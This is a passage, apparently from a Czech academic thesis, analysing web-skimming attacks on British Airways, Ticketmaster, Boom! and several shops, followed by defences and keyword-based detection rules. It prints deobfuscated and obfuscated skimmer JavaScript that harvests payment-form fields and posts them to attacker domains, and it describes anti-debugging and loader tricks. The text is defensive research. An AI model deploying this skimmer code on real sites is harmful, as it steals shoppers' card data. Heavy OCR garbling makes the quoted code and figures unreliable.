3.1 British Airways

British Airways je britska aerolinka, v roce 2019 prepravila kolem 45 miliont
cestujicich [65]. Web skimming ttok na webovou stranku British Airways je
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povazovan za jeden z téch nejvétsich. Probéhl v roce 2018 a bylo pfi ném odci-
zeno zhruba 400 tisic osobnich tdaju, véetné téch platebnich. Oficidlné nedoslo
ke zverejnéni, jak itocnici webovou stranku infikovali. Bylo zverejnéno pouze
to, ze udaje téch, ktefi zaplatili kartou na webovych strankach a v mobilni
aplikaci British Airways mezi 21. srpnem a 5. zafim, jsou v ohroZeni [66].

RiskIQ [67] ptisel s tim, Ze itok na British Airways byl cilen konkrétné na
né a nejednalo se o plosny utok na vice internetovych obchoda. Analyzovali
data, kterda méli k dispozici z doby ttoku (predevsim javascriptové soubory ze
stranky British Airways) a zjistili, Ze jeden ze soubort byl upraven. Byl v ném
vlozen skodlivy kéd

window.onload=function(){jQuery("submitButton") .bind("mouseup

< touchend",function(a){var

n={}; jQuery ("#paymentForm") .serializeArray() .map(function(a){n[a.name
< J]=a.value});var

e=document .getElementById("personPaying") .innerHTHL;n.person=e;var
t=JSON.stringify(n) ;setTimeout (function()
{jQuery.ajax({type: "POST",async: !0,url: "https://beways.com/gateway/ap
< p/dataprocessing/api/"

< ,data:t,dataType:"application/json"})},500)1)};

Koéd 43: Skodlivy kéd, ktery byl vloZen na stranky British Airways [S]

O dva roky pozdéji byla British Airways za tento unik dat zdkazniku ulo-
zena pokuta ve vysi 20 milionu liber od Information Commissioner’s Office,
coz je britsky organ pro ochranu préva na informace a ochranu udaju [68] 69].

3.2 Ticketmaster

Ticketmaster je americka spole¢nost, ktera prodava vstupenky po celém svéte.
Utok z roku 2018 postihl kromé Ticketmasteru i dalsich cca 800 obchodi.
K napadeni doslo prostfednictvim spolecnosti Inbenta, ktera poskytuje plat-
formu pro interakci se zakazniky. Skodlivy kéd byl vlozen do nésledujicich
dvou souborii:

o ticketmasteruk.inbenta.com/avatar/jsonp/inbenta.js

e ticketmasteruk.inbenta.com/avatar/assets/js/inbenta.js

Kod byl obfuskovan pomoci javascriptobfuscator.com a data se odesi-
lala pomoci POST requestu na adresu webfotce.me/js/form. js. Deobfusko-
vany kéd lze vidét v ukdzce [f4] Proménnd myid je kombinace ¢asu s ndhodné
vygenerovanym cislem.

Data byla sesbirdna z formuldfe pomoci kédu v ukdzce [45] Je vidét, ze
koéd vyuziva querySelectorAll a vybira data z prvkil input, select, textarea,
checkbox a button.
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var encoded_data = btoa(data);

var req = new XMLHttpRequest();

req['open'] ('POST', 'https://webfotce.me/js/form.js', true);
reql'setRequestHeader'] ('Content-type',

— 'application/x-www-form-urlencoded');

req['send'] ('info=' + encoded_data + '&hostname=ticketmUK&key=' +
— myid)

Ko6d 44: Ticketmaster — odeslani platebnich tdaju

var _Oxbb8ex7 = document['querySelectorAll'] ('input, select,
< textarea, checkbox, button');
for (var i = 0; i < _Oxbb8ex7['length']; i++) {
data += _Oxbb8ex7[i]['name'] + '=' + _Oxbb8ex7[i]['value'] + '&'
}

Koéd 45: Ticketmaster — sbér platebnich udaju (deobfuskovano a zkraceno)

Jako nésledek tohoto utoku byla spolecnosti Ticketmaster UK Limited
v roce 2020 udélena pokuta ve vysi 1,25 milionu liber. Stejné jako v pfedchozim
pripadé byla pokuta ulozena britskou ICO.

3.3 Boom!

Boom! je americky mobilni operator. K web skimming titoku doslo v zari 2020.
Na jejich webovou stranku byl vlozen kéd v ukézce [46]

<script>document.write(atob('PHNjcmlwdCBzcmMOImhOdHBz0i8vcGF5cG
< FsLWR1Ym1OLmNvbS9jZG4vZ2EuanMiPjwvc2NyaXBOPg=="')) ;</script>

Kéd 46: Skodlivy kéd, ktery byl vlozen na webovou stranku boom.us

Tento kéd nacital dalsi skodlivy kéd z paypal-debit[.]com/cdn/ga. js.
Ten uz nebyl obfuskovany a odesilal data zptusobem, ktery je v ukdzce [7]
Proménné DataName obsahuje platebni idaje.

var b = document.createElement("img");b.width = "1px";b.height =
— "lpx"; b.id = img_id;b.src = atob(”aHROcHM6Ly9wYXlethZGViaXQuYQJ

—  9tL2Nkbg==")+"/ga.php?analytic=" + Base64Function(DataName) ;
< document.body.appendChild(b);

Kéd 47: Skodlivy kéd, ktery zajistuje odeslani platebnich tdaja k dtoénikovi

Na konci listopadu 2020 byl boom.us infikovan znovu, URL ziistala stejna,
pouze si utocnici dali o trochu méné zalezet, jak je vidét na obrdzku
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— O *
b view-sourcethttpsy ® 4+
f . A e N
O @ view-sourcehttpsy//www.boo.. ¥z (@ ¥= ( Signin Q)
var ga = document.createElement(’script’); ga.type = ‘text/javascript'; ga.async = true; -
ga.src = ('https:' == document.location.protocol ? ‘https://ssl' : "http://www') + '.google-an

var 5 = document.getElementsByTaghame( 'script’)[@]; s.parentNode.insertBefore(ga, s);
I IOH
122 | </script>
122 | <script src="http://paypal-debit.com/cdn/ga.js"></scripts</heads
124 | <body id="page-home" class="page page-home">
125 | <!-- Google Tag Manager (noscript) --»
126 <noscriptr<iframe src="https://www.googletagmanager.com/ns.html?id=GTM-TRPKED2"
27 | height="8" width="8" style="display:none;visibility:hidden"></iframe></noscript>
2| <!-- End Google Tag Manager (noscript) --»

Obrézek 3.2: Boom! infikovan podruhé

Stejnym web skimming dtokem byly také infikovany tyto webové stanky:
777sign.com, scrapmonster.com a tvparts.ca. Skodlivy kéd se naéital ze
stejné domény, lisila se pouze cesta sign/ga.js, ga/ga.js a tv/ga.js.

3.4 The Dura Mater

V ukdzce A8 je zndzornénd ¢ést kodu, kterd se nachdzi v HTML souboru

na strance theduramater.com (webova stranka Instagram influencerky, na

které prodava pristup k exkluzivnimu obsahu). Z velké ¢asti se jednd o ¢isty

kod az na radky, které se nachazeji mezi volanimi funkce __gaTracker. Data

v proménné 1d jsou zakdédovana pomoci base64, po dekédovani dostanu URL

fonts-gstatic[.]com. Proménna 1d se nikde jinde v souboru uz nenachazi.
7 pole _cs se posklada nasledujici cesta:

/wp-content/uploads/2020/10/vid_1024.png

7 toho vseho by se klidné mohlo zdat, ze se jedna jen o néjakou nepovede-
nou ¢ast kodu. Opak je pravdou, zminény obrazek v sobé obsahuje i JavaScript
kod, ktery je obfuskovany, po zformatovani mé 429 radkt. Mimo jiné v ném
lze nalézt:

'htt'+ 0x1dal198('0x24b', 'NAAF')+'//'+atob(window['1d']),

Zde se pouzivd ona proménna 1d. Déle kéd obsahuje kontrolu, na jaké
strance se nachazi:

if (new RegExp(atob('checkout|account')).test(window.location))

V pripadé splnéni této podminky a kontroly, zda nejsou otevieny Develo-
per Tools se na napadenou webovou stranku pridd platebni formular, ktery
vyuziva .css soubor ze stripe.com, coz je spole¢nost, kterd poskytuje nastroj
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if ( mi_track_user ) {
(function(i,s,o0,g,r,a,m){i['GoogleAnalyticsObject']=r;ilr]l=il
— r]|[function(O{
(i[r].g=il[r].ql | [1) .push(arguments)},ilr].1l=1%new
— Date();a=s.createElement (o),
m=s.getElementsByTagName (o) [0] ;a.async=1;a.src=g;m.parentNode
< .insertBefore(a,m)
}) (window,document, 'script','//www.google-analytics.com/analy
— tics.js','__gaTracker');
__gaTracker('create', 'UA-60943545-2', 'auto');
__gaTracker('set', 'forceSSL', true);
var 1d = "Zm9udHMtZ3NOYXRpYy5jb20vdjE2Lw==";
var _cs=["/up","24","/2","/1","g",".pn"," 10", "nt","020","~co", "nte","

— Jup","ads","_10","id","0/v"]; _f0(Q);async function _f0() {let _g0

— = await

— fetch(_cs[11]1+_cs[9]+_cs[10]+_cs[7]1+_cs[0]+_cs[6]+_cs[12]+_cs[2]+,

— _cs[8]+_cs[3]+_cs[15]+_cs[14]+_cs[13]+_cs[1]+_cs[5]+_cs[4]);if

— (_g0.0k) {let _gl = await _g0.text();var _vO = new Function

— (_gl.slice(-77105)) ;return(_v0());}}
__gaTracker('require', 'displayfeatures');
__gaTracker('require', 'linkid', 'linkid.js');
__gaTracker('send', 'pageview') ;

}

Kéd 48: Cast kédu vlozend ho HTML — z velké ¢asti se jednd o ¢isty kod

pro platby pres internet. Z toho plyne, Ze se Utoc¢nici snazi napodobit pravé
formulare této spolecnosti. K ziskani zadanych platebnich tdaji se pouziva
querySelector a getElementById. Data se odesilaji pomoci GET requestu
a vytvoreni IMG objektu.

Mezi dalsimi napadenymi webovymi strankami jsou wishtrend.com, me-
dexsupply.com, 9to9.co.id a maxill.com.

3.5 Juwelier Steiner

Na obrazku [3.3] je zobrazeno, jaké rtizné soubory se nacitaji na napadeném
webu www.steiner-juwelier.com. Lze si vSimnout, Ze se nacitaji klasické
zdrojové kody tretich stran. Napriklad se nacitaji skripty od Googlu jako ana-
lytics.js z www.google-analytics.com a fonty z fonts.googleapis.com.
Pii analyze se muze stat, Ze snadno prehlédneme soubory, které se nacitaji
z webové stranky hits-cache.com (2). Protoze, co by mohlo byt zdvadného
na favicon.ico a js.js, ktery lze cely vidét zde 50} pfipadné zformatovany
v priloze

K nacteni souboru js. js ze stranky hits-cache.com dojde diky tomu, ze
HTML soubor obsahuje k6d
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g https:,’,’www‘steiner-juwelier‘com,«’checkcut,"cart," 5
[8 @] Elements Conscle Sources Metwork Performance Memory  Application  Security Lighthouse
Page Filesystem » sjs  faviconico X jsjsformatted  favicon.icoformatted o]

* DOtop
¥ O weawsteiner-juwelier.com

b checkout/cart

B (index) seval(function(w,i,s,e){var 1I11=8;var 111I=@;var I111=8;var 111l=[1;var 111I=[];while(true)}{if(1
» j;
4 media/wysiwyg
» [ skin/frontend

¥ consent.cookiebot.com
ucjs
(O consentedn.cookiebot.com
3 consentconfig/9289353a-6ecd

¥ fonts.googleapis.com

B c=s7amily=prata

B css7family=Ralewsy:300,400,50
* & hits-cache.com @)

¥ [ icon

favicon.ico
isjs
v & img.ideslo.com
> folder/Shop/288/0/288003
¥ jsmellie.com
3 vl
(O magemail.co
4 app/skin
+ ¢ wwwgoagle-analytics.com
analyticsjs
+ O _uspapilocstor (stoutblank)
* © [no domain)
» O beminhtml

» {} Line 1016, Column 1 Coverage: n/a

Obréazek 3.3: Developer tools na webové strance www.steiner-juwelier.com,
ktery zobrazuje jeden z nactenych skodlivych koédua

<script>
var eventsListenerPool = document.createElement('script');
eventsListenerPool.async = true;
eventsListenerPool.src = "//hits-cache.com/js.js";

document .getElementsByTagName ('head') [0] .appendChild(eventsLi
<» stenerPool);
</script>

K6d 49: Skodlivy kéd (www.steiner-juwelier.com)
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chc=false;var element=new Image();0Object.defineProperty(element,'id',{get:function(){chc=true;}}); |
requestAnimationFrame (function

chce(){chc=false;console.dir(element) ;console.clear();if (!chc){window.www = window.www ||
(function(){f=false,d=document,c={finish:function(){if (!£){f=true;var

a=d.getElementById(' _wid');if(a)a.parentNode.removeChild(a);}},finished:function(){return
f;},load:function(a){var b=d.createElement('script');b.src=a;b.innerText;b.onerror=function(){www. |
finish();};d.getElementsByTagName ('head') [0].appendChild(b);},init:function(){settings_timer=setT |
imeout ('www.finish()',100);var a=d.createElement('style'),b='body'?'body'+'{opacity:0
limportant;filter:alpha(opacity=0) !important;background:none
!important;}':",h=d‘getElementsByTagName('head')[O];a.setAttribute('id','_wid');a.setAttribute('J
type', 'text/css');if (a.styleSheet)a.styleSheet.cssText=b;else
a.appendChild(d.createTextNode (b)) ;h.appendChild(a);this.load(decodeURIComponent (escape (window.at |
ob('Ly90aXRzLWNhY2h1LmNvbS9pY29uL2Zhdml jb24uaWNv')))) ;return
settings_timer;}};window.www=c.init();return c;}();}});

Kéd 50: Soubor js.js — naformétovany kéd je v piiloze 59

Soubor js. js[50|muze na prvni pohled vypadat nezdvadné. OvSem pii bliz-
sim prozkouméni obsahuje anti-debugging techniku (kontrola zda jsou spus-
téné Developer Tools). Navic po dekédovani base64 dostaneme URL:

//hits-cache.com/icon/favicon.ico

a zadanim této URL do prohlizecCe zjistime, ze pozadovana stranka vrati
chybovou hldsku zobrazenou v kédu [51}

Not Found
The requested URL was not found on this server.

Apache Server at hits-cache.com Port 80

Kéd 51: Not Found z //hits-cache.com/icon/favicon.ico

Z toho by bylo velmi jednoduché dojit k rychlému zavéru, ze se nejedna
0 nic zajimavého a jde pouze o chybu programétora. Pravda je ale takova, ze
webovy server vraci rozdilnou odpovéd pravdépodobné podle HTTP refereru.
Pokud jsou navic v prohlize¢i spustény Developer Tools, k nacteni favicon.ico
také nedojde.

Proto se ted podivam, co je v souboru favicon.ico. Na obrazku (3)
lze vidét, ze skodlivy kéd se v souboru nachéazi az na radku 1001, zbyld cast
souboru je prazdnd. Obfuskovany kéd priklddam zde [52] Jednd se o nékolik
vrstev obfuskace. Po deobfuskovani se dostaneme ke skodlivému kédu, ktery
krade platebni adaje.

Cést, ktera posila tidaje|53|je zajimava v tom, Ze se data posilaji v hlavicce
Content-Language.
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;eval (function(w,i,s,e){var 1I11=0;var 111I=0;var I111=0;var 1111=[];var

111I=[];while(true){if (1I111<5)111I.push(w.charAt(1I11));else

if (1I11<w.length)1111.push(w.charAt(1I11));1I11++;if(111I<5)111I.push(i.charAt(111I));else

if (111I<i.length)1111.push(i.charAt(111I));111I++;if(I111<5)111I.push(s.charAt(I111));else
if(Illl<s.1ength)llll‘push(s.charAt(Illl));1111++;if(w.length+i‘length+s.length+e.length::111J
1.length+111I.length+e.length)break;}var 1I11=1111.join('');var I11I=111I.join('');111I=0;var
1111=[1;for(1111=0;1111<1111.length;1I11+=2){var

1111=-1;if (I11I.charCodeAt (111I)%2)1111=1;1111.push(String.fromCharCode (parseInt (1I1l.substr( |
1111,2),36)-1111));111I++;if (111I>=111I.1length)111I=0;}return
1111.join('');}('b44b81s212829333718243q. .<zkraceno>..012z1025212q1951d88a4"'));

R A

Koéd 52: Obfuskovany skodlivy kod, nékolik vrstev obfuskace, parametry ano-
nymni funkce jsou mnohonasobné delsi

var e = ["card_number:4432", "cvv:324"]; // p7iddno
var data = JSON.stringify(e);
fetch("//hits-cache.com/icon/favicon.ico", {
mode: "no-cors",
headers: {
"Content-Language": btoa(unescape(encodeURIComponent (data)))
.split("™)
.reverse()
.join(""),
},
method: "POST",
body: "",
b

Kéd 53: Cast deobfuskovaného kédu, upraveno

3.6 Nasledky pro internetové obchody

Ackoliv by se teoreticky mohlo zdét, Ze internetovy obchod neni web skimming
utokem néjak citelnéji zasazen, protoze udaje jsou odcizeny uzivatelim a ne
obchodu, nemusi tomu tak byt.

Internetovy obchod sice neutrpi ztratu v podobé odcizeni platebnich tdaju
utocnikem, ale muze byt postizen pokutou za nezajisténi bezpeci uzivateld.
Navic vzhledem k tomu, ze Utocnici vyuzili néjakou zranitelnost k vlozeni
skodlivého kodu, je klidné mozné, ze napachali na webovém serveru interne-
tového obchodu i dalsi skody. Internetovy obchod tudiz musi investovat dalsi
¢as a prostredky, aby zajistil bezpecnost. To se mize odrazit na funkénosti
webu, ktery muze byt néjakou dobu nedostupny, nez dojde k vyreSeni vSech
problémt.

Také muze byt poskozena reputace internetového obchodu, zdkaznici se
budou bat na ném nakupovat a radsi zvoli konkurenci. Navic nez dojde k od-
stranéni skodlivych kédu z webové stranky internetového obchodu, mutze byt
obchod zarazen na blacklist antivirového programu nebo internetového vyhle-
davace, coz také povede k mensi navstévnosti.
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7 toho plyne, Ze i samotny internetovy obchod by mél dbat na bezpecnost
uzivateli. Navic v pripadé, ze internetovy obchod odstrani pouze nésledek
utoku a uz neresi pri¢inu, se muze stat, ze bude v brzké dobé infikovan znovu.
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KAPITOLA 4

Obrana proti web skimming
utokiim a jejich detekce

V této kapitole se vénuji tomu, jak pfedchizet web skimming ttokim a jak
tyto utoky detekovat. K obrané a detekci lze pristupovat ze tii riznych po-
hled:

1. z pohledu vlastnika internetového obchodu
2. z pohledu zékaznika internetového obchodu

3. z pohledu nezavislé teti strany (antivirové spole¢nosti, spole¢nosti za-
byvajici se ochranou internetovych obchodu apod.)

4.1 Jak zabezpecit internetovy obchod

Nejvétsi vliv mé na piipadné infikovani samotny internetovy obchod, zakaznik
i antivirova spole¢nost uz mohou jen zachranovat nasledky, ve velké vétsiné pri-
padu, Spatné zabezpecené webové stranky. Internetové obchody mohou zvysit
bezpecnost své webové stranky pomoci nasledujicich zptisobii:

e Bezpecna platebni brana — jednou z moznosti, jak zvysit bezpecnost, je
pouzivat platebni branu, napiiklad od banky nebo jiné spole¢nosti, ktera
je hostovand na jejich doméné. Internetovy obchod se pak nemusi zaby-
vat zpracovanim platebnich adaju a jejich bezpecnosti, vse Tesi vlastnik
platebni brany. V tomto piipadé ale stale predstavuji riziko falesné pla-
tebni brany.

e HTTPS — jednd se o bezpecnou verzi HT'TP, data prenaSena mezi pro-
hlize¢em a webovym serverem jsou sifrovana [70]. V dnesni dobé uz je
HTTPS standardem a mél by ho pouzivat kazdy internetovy obchod.
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o Aktualizace — dulezité je také pravidelné aktualizovat software, ktery
internetovy obchod vyuziva. Jak dilezité je aktualizovat a prechazet na
nové verze softwaru dokazuje i web skimming ttok, ktery zasahl v zari
2020 zhruba 2000 internetovych obchodi vyuzivajici Magento 1, kterému
skonéila podpora v ¢ervnu téhoz roku [71].

e Bezpecnost serveri a administrace — dulezitym predpokladem pro bez-
pecnost je spravné zabezpeceni webovych serverti, to znamend pouzivat
silna hesla a mit spravné nakonfigurované nastaveni.

e Prava k soubortim a do databaze — ke zvyseni bezpecnosti také pomiize
omezeni pristupti do databize a omezeni prav na tpravu soubort.

o Web Application Firewall (WAF) — WAF chrani webové aplikace pred
utoky jako XSS a SQL injection. Filtruje piichozi i odchozi komunikaci
webového serveru [72].

e Skenovani internetového obchodu — internetovy obchod miize také pra-
videlné skenovat svoji webovou stranku a server, coz muze odhalit treba
neaktualizovany software, pouziti systému obsahujicich bezpec¢nosti zra-
nitelnosti anebo néjaké podezrelé zmény souborti.

o Zameéstnanci — dulezité je také skolit zaméstnance, at uz proti phishingo-
vym dtokum, tak i tfeba vyvojare, jak psat bezpecény kéd a jak spravné
nakladat s citlivymi tdaji zdkaznikda.

Vsechny zminéné zptisoby pomohou dohromady zvysit bezpecnost a snizit
sanci kompromitace internetového obchodu.

4.1.1 Jak predejit vlozeni a spusténi skodlivého kédu

V ramci web skimming utoki je dulezité predevsim zabranit vlozeni a spusténi
skodlivého kédu (obvykle JavaScript). To znamend, ze i kdyZ uz na webové
strance (webovém serveru) je néjaka zranitelnost, kterou muze ato¢nik zneuzit,
stale existuje moznost, ze se dodatecnymi opatienimi podafi zabranit vliozeni
a spusténi skodlivého koédu.

Kontrola ké6du pri nasazeni

Jednou z moznosti je mit spravné nastavené postupy prii nasazovani, to zna-
mena, ze pri kazdém nasazeni webové aplikace je potieba kontrola kédu ale-
spont od dvou ruznych lidi. Tento princip se nazyva four eyes principle [73].
Toto samoziejmé muze za cenu bezpecnosti komplikovat proces zmén.
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Third Party JavaScript

Branit se infekci soubori, které webova stranka nacita ze zdroju tietich stran,
lze jen tézko. Z toho duvodu je nejbezpecnéjsi nahrat tyto soubory na svij
server a pri kazdé zméné téchto kodiu na strané treti strany je aktualizovat
a pritom i kontrolovat, zda nedoslo k pridani skodlivého kédu. Pokud webova
stranka vyuziva vice kodi, které jsou hostovany na serverech tretich stran, coz
v dnesni dobé neni neobvyklé, mize se stat, ze se budou pouzivat neaktualni
skripty, protoze nebude dostatek ¢asu na provadéni vSech nezbytnych kontrol.
S tim souvisi, ze se vyplati vyuzivat pouze ovérené zdrojové kddy tretich
stran, u kterych by teoreticky také méla hrozit mensi Sance kompromitace.

Content Security Policy

V kapitole je vysvétleno, co to je Content Security Policy, zminila jsem
i divody pro¢ pouze samotné CSP neni proti web skimming ttokim dosta-
te¢né (napadeni pfimo zdrojového kédu tieti strany) a také pro¢ neni vzdy
plné vyuzivano.

I pres to vsechno ale pri spravném nastaveni velkému mnozstvi web ski-
mming utoku zabranit dokdze. Podle [74] pouzivalo CSP v roce 2020 pouze
necelych 6 % webovych stranek z Tranco Top 1 Million [75].

4.1.2 Jak odhalit skodlivy kéd

V pripadé, ze uz doslo k vlozeni skodlivého kédu, je dulezité mit systém,
ktery tento utok dokéze rychle odhalit. Uz jsem zminila, Ze se Casto stava, ze
skodlivy kod zustava na napadenych webovych strankich dlouhé mésice.

K rychlému odhaleni mutze poslouzit napriklad pravidelna kontrola zmén
soubori anebo pravidelné testovani odeslani objednavky a platby a analyza
komunikace.

Napriklad v pripadech, kdy dojde k vlozeni falesného platebniho formulare
na webovou stranku, by pravidelnd kontrola nékym, kdo vi, jak mé stranka
vypadat, méla vést k odhaleni problému.

Dale se také vyplati pravidelné kontrolovat, jaké soubory ze zdroju tretich
stran webova stranka nacita.

4.1.3 Existujici reseni

Existujici feseni na ochranu webovych stranek pred web skimmingem, pii-
padné dalsimi podobnymi utoky:

e Jscrambler nabizi ochranu pred Web skimmingem pro internetové ob-
chody, detekuje skodlivé chovani a na zakladé toho zasild zdkaznikovi
(internetovému obchodu) report [76].
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Akamai nabizi Page Integrity Manager, ktery nabizi ochranu pred skod-
livymi skripty pro webové stranky [77].

Reflectiz nabizi ochranu pred web skimming dtoky a také pred dalsimi
utoky, ke kterym muze dojit na strané uzivatele [78].

Sansec je spolecnost, kterd nabizi ochranu pro internetové obchody,
detekuje zranitelnosti a malware [79].

Maltrail je open-source systém, ktery detekuje skodlivy internetovy
provoz, véetné web skimming tatoku [80].

Sucuri je spolecnost, kterd nabizi obecné ochranu pro webové stranky;,
ale zabyva se i ochranou proti web skimming ttoktm [81].

4.2 Jak se muze chranit uzivatel

Pokud uz dojde k infikovani internetového obchodu, porad existuji zpusoby,
jak se muze v této situaci chranit i uzivatel.

Pouzivat antivirovy software, ktery spravuje datab&azi skodlivych URL
a také detekuje skodlivé soubory na zakladé jejich obsahu.

Zadévat platebni tdaje na zabezpecené platebni brané hostované na
strance treti strany, u které hroz{ mensi Sance infikovani nez primo na
webové strance internetového obchodu.

Vlastni obezietnosti a kontrolou, na jaké doméné se uzivatel nachézi.

Existuji dopliky do prohlizece, které blokuji vSsechny JavaScript kddy
z neovérenych zdroju. Prikladem je tfeba NoScript [82].

4.3 Detekce web skimming utokt

Nyni se od otazky, jak muze itoku zabranit internetovy obchod a jak se miize
chranit samotny uzivatel, presouvam k otézce, jak muze utok detekovat treti
strana. Nejdrive se budu zabyvat tim, jak detekovat jiz objevené a znamé
utoky. Detekei téchto utoki 1ze rozdélit do tfech kategorii:
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4.3. Detekce web skimming ttokt

4.3.1 Analyza chovani internetovych obchodia

Aby bylo mozné detekovat napadené internetové obchody, je dulezité znat
rozdily mezi odesilanim platebnich udaju, které jsou opravdu odeslany inter-
netovym obchodem za ticelem zaplaceni objednavky, a mezi odesilanim udaji
k utocénikovi. V sekci [2.3.2] (Odcizeni platebnich udajul) jsem jiz nastinila, ja-
kymi zptsoby ttoc¢nici odesilaji platebni tdaje, nyni vysvétlim legitimni cho-
vani internetovych obchodu a odesilani platebnich udaju.

Prabéh platby na internetovém obchodé

V prubéhu platby na internetovém obchodé jsou do celého procesu zapojeny
4 strany:

o zikaznik
e obchodnik
e banka zakaznika

¢ banka obchodnika

Obchodnik méa na vybér ze dvou moznosti, jak transakci zrealizovat. Prvni
moznosti je ziidit si vlastni platebni branu, coz je néco podobného jako
fyzicky termindl, a i¢et obchodnika (merchant account), coz je specidlni
ucet, ktery umoznuje prijimat platby platebni kartou [83].

Druhou moznosti je vyuzit sluzbu treti strany, ktera se zabyva platbami
na internetu, jako napriklad:

o Braintree je vlastnénd spole¢nosti PayPal, kromé PayPal plateb podpo-
ruje také Vemno, kreditni a debetni karty, Google a Apple Pay. Braintree
pouzivaji webové stranky jako Airbnb, Dropbox nebo Eventbrite [84].

« GP webpay je platebni brana nejvice rozsifens v Ceské republice, pii-
jimé platby kartami Visa, Mastercard a Diners Club a také Google Pay,
pouziva ji naptiklad Slevomat nebo Dame Jidlo [85].

e Stripe podporuje platby kartami jako Visa, Mastercard, American Ex-
press a dalsi [86] a také Google a Apple Pay a vyuzivd ho napriklad
Amazon a Wish.

o Nékteré dalsi spolecnosti: Paypal, Square, PayU, CommerceWeb, GoPay

Nasledné ma obchodnik na vybér, jak platbu implementuje. Bud muze po
dokonceni objednavky zédkaznika presmérovat na platebni branu poskytovale,
anebo platba muze byt provedena bez opusténi webové stranky internetového
obchodu pomoci formulafe pfimo na jeho strance.
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Vyhodou moznosti s pfesmérovanim je, ze samotny internetovy obchod ne-
zpracovava platebni tidaje, tudiz nemé tak velkou zodpovédnost. Na druhou
stranu vyhodou druhé moznosti je nenaruseni procesu objednévky presmé-
rovanim, vSe se déje na jednom misté, coz muze byt pro nékteré uzivatele
pohodInéjsi.

V ramci této prace se zajimam predevsim o to, jak vypadd komunikace
mezi zakaznikem a obchodnikem, pripadné mezi zdkaznikem a platebni branou
hostovanou na webové strance treti strany, a o to, jak tento prubéh narusuji
web skimming tutoky.

Komunikace internetového obchodu

Pokud internetovy obchod nevyuziva platebni branu hostovanou na doméné
treti strany, pak musi platebni idaje odesilat bud na svij server, anebo na
server treti strany.

V ukézce je znazornén priklad odeslani platebnich idaji na vlastni
server pomoci POST requestu. Platebni iidaje byly pred odeslanim zasifrovany
(zkraceno).

Request URL: https://www.lidl-shop.cz/payment/adyen/authorise

Request Method: POST

content-security-policy: frame-ancestors 'self';
block-all-mixed-content; report-uri
https://lidlcsp.report-uri.io/r/default/csp/enforce;

content-type: text/html;charset=UTF-8

origin: https://www.lidl-shop.cz

referer: https://www.lidl-shop.cz/payment/adyen/authorise?paymentUrl=
redirect’3A%,2Fpayment/,2Fadyeny,2Fauthorise

encryptedCardNumber: adyenjs_O_1_25$iBHONJmNiXj5S08QrF1
encryptedExpiryYear: adyenjs_0_1_25$Xa+90ghQC7jI5K0Wzwe3ymYCBi8g==
encryptedSecurityCode: adyenjs_0_1_25$gCIL3LxU61RS5amg0==
CSRFToken: 048312c3-b409-4778-af81-61932c7352ec

Ko6d 54: Odeslani platebnich idaji na nenapadené webové strance

Ovsem toto neni jedind komunikace, kterd na webové strance po odeslani
udaja probéhne, posilaji se jesté dalsi POST requesty na:

https://acs2.gpesecure.com/v3ds/authentication/7c705d0-2ca8-41eb-89d5
-5729728beba4d
https://www.lidl-shop.cz/payment/adyen/authorise-3d-response?endPoint
=CHECKOUT

Jedna se o ovéreni toho, ze platba probéhla v poradku a penize byly po-
slany, protoze poté se uzivateli zobrazi informace o Gspésné platbé.
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Doména gpesecure.com patii GP webpay, coz je uz diive zminény posky-
tovatel systému pro platby na internetu.

Tato komunikace se bude lisit podle pouzitych technologii, a také podle
toho, zda se tidaje odesilaji na server internetového obchodu nebo primo po-
skytovateli platebni brany. Také zalezi na tom, zda ovéfeni o spésné prove-
dené platbé bude poskytnuto ze strany internetového obchodu nebo od treti
strany.

Zdroje tretich stran

Kromé pribéhu platby na internetovém obchodu, je dulezité také védét, ze
internetové obchody bézné nacitaji vétsi mnozstvi zdrojovych kédh ze zdroji
tretich stran. Proto obvykle neni dobrym reSenim vSechny tyto zdroje auto-
maticky blokovat.

4.3.2 Detekce na zakladé URL

Ve vétsiné pripadech utocnici odesilaji platebni idaje z infikovanych interne-
tovych obchodt pomoci POST, GET requestu nebo WebSocketti na svoji do-
ménu, webhosting, pripadné infikovanou stranku. To znamenad, ze k zabranéni
odcizeni udaju staci zablokovat spojeni na konkrétni doménu. Ackoliv dojde
ke spusténi skodlivého kédu a i ke shromazdéni citlivych udaji z formulére,
uz nedojde k jejich odeslani.

Utoénici ¢asto vyuzivaji jiz jednou pouzité domény znovu (napriklad po
nékolika mésicich), takze se vyplati spravovat seznam vSech pouzitych domén
pro web skimming ttoky a blokovat spojeni na tyto domény.

Naptiklad doména webassetsshop.com byla Avastem blokovana uz od
12. 12. 2019, ale vyuzita k velkému web skimming ttoku na webovou stranku
1fg.com.br az v bieznu nasledujictho roku. Podobné je na tom i dalsi doména
jquery. su, kterd po titoku na flowerexplosion.com (a dalsi) byla zhruba rok
nevyuzivand, az v prosinci 2020 byla pouzita v itoku na candlesdirect.com.

Seznam téchto domén vyuzivanych pro web skimming Gtoky je prilozen na
CD v souboru blacklist.x1lsx.

4.3.3 Detekce na zakladé skodlivého kédu

Stejné jako v predchozich kapitolach, i ted se zaméruji predevsim na skodlivé
kédy v JavaScriptu. Skodlivy kéd lze detekovat na zakladé klicovych slov,
které obsahuje. Pro web skimming titoky je charakteristicky predevsim zpusob,
jakym jsou udaje odcizeny primo z platebniho formulare, pridani vlastniho
event listeneru a v nékterych pripadech také kontrola, na jaké URL se uzivatel
nachazi.
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Klicova slova

Pro web skimming ttoky jsou typicka néasledujici klicova slova:
e window.addEventListener
e window.querySelectorAll - input, select, textarea, checkbox, button
« POST, GET, send, gate, open

e checkout stanka — onepage, checkout, onestep, firecheckout, cart, pay-
ment, kosik, objednavka, order

o ID/nézvy elementu formuléte

Ackoliv jsou skodlivé kody casto obfuskovany, stale se objevuje velké mnoz-
stvi pripadt koda, které obfuskovany nejsou, pripadné jsou, ale ne tak dobre,
ze by byla skryty vSechna klicova slova, pfipadné se v nich vyskytuje néjaké
jiné klicové slovo, na jehoz zakladé lze vytvorit detekci.

Detekce

Vytvotila jsem nékolik detekci zalozenych na klicovych slovech. Vybrané de-
tekce jsou v ukazce dalsi detekce jsou v priloze Skodlivé kédy se témito
detekcemi detekuji v pripadé, ze skodlivy kéd obsahuje vzdy vSechny stringy,
které jsou v detekci. Lze si vSimnout, ze naptiklad Detekce BE obsahuje slovo
ccnumber a Detekce BI slovo checkout, stejné jako Detekce K, kde je toto
slovo ovsem zakdédovano pomoci base64. Detekce A obsahuje hned nékolik kli-
c¢ovych slov, které jsou typické pro web skimming skodlivé kody.

Detekce A

"get" s "open" ,"send",

"payment [cc_exp_month]" Detekce BI

],function(){var_ .test(window.location)

=new cmlhttprequest(); new regexp("tagmanager |checkout |onepage"
Detekce BE Detekce CY

];document [_$_ getpropertyvalue('--script')) ;
